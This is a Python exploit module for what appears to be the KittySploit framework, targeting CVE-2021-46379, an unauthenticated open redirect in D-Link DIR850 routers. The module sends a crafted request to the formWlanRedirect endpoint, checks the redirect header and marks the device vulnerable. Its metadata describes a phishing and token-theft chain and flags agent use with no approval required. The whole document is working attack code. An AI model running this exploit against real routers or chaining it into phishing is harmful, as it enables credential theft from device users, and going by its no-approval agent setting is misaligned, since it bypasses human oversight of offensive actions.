D-Link DIR850 Open Redirect (CVE-2021-46379)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DIR850 open redirect (CVE-2021-46379)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'D-Link DIR850 Open Redirect (CVE-2021-46379)',
        'description': (
            'Exploits CVE-2021-46379 in D-Link DIR850: unauthenticated open redirect via '
            'formWlanRedirect redirect-url parameter (phishing / token theft chain).'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-46379'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-46379'],
        'tags': ['dlink', 'router', 'redirect', 'vkev'],
        'agent': {
            'risk': 'medium',
            'effects': ['credential_access'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['risk_signals'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_46379_detect']},
        },
    }

    redirect_url = OptString('http://example.com', 'External redirect target to test', required=True)

    def check(self):
        target = urllib.parse.quote(str(self.redirect_url or 'http://example.com'), safe='')
        path = f'/boafrm/formWlanRedirect?redirect-url={target}&wlan_id=1'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return {'vulnerable': False, 'reason': 'No response', 'confidence': 'low'}
        headers = '\n'.join(f'{k}: {v}' for k, v in (r.headers or {}).items())
        host = urllib.parse.urlparse(str(self.redirect_url or 'http://example.com')).netloc
        if host and re.search(rf'Location:\s*https?://[^/\n]*{re.escape(host)}', headers, re.I):
            return {'vulnerable': True, 'reason': 'Open redirect confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Redirect not observed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('D-Link DIR850 redirect not confirmed')
            return False
        target = str(self.redirect_url or 'http://example.com')
        print_success(f'Open redirect to {target} confirmed')
        self.vulnerable()
        return True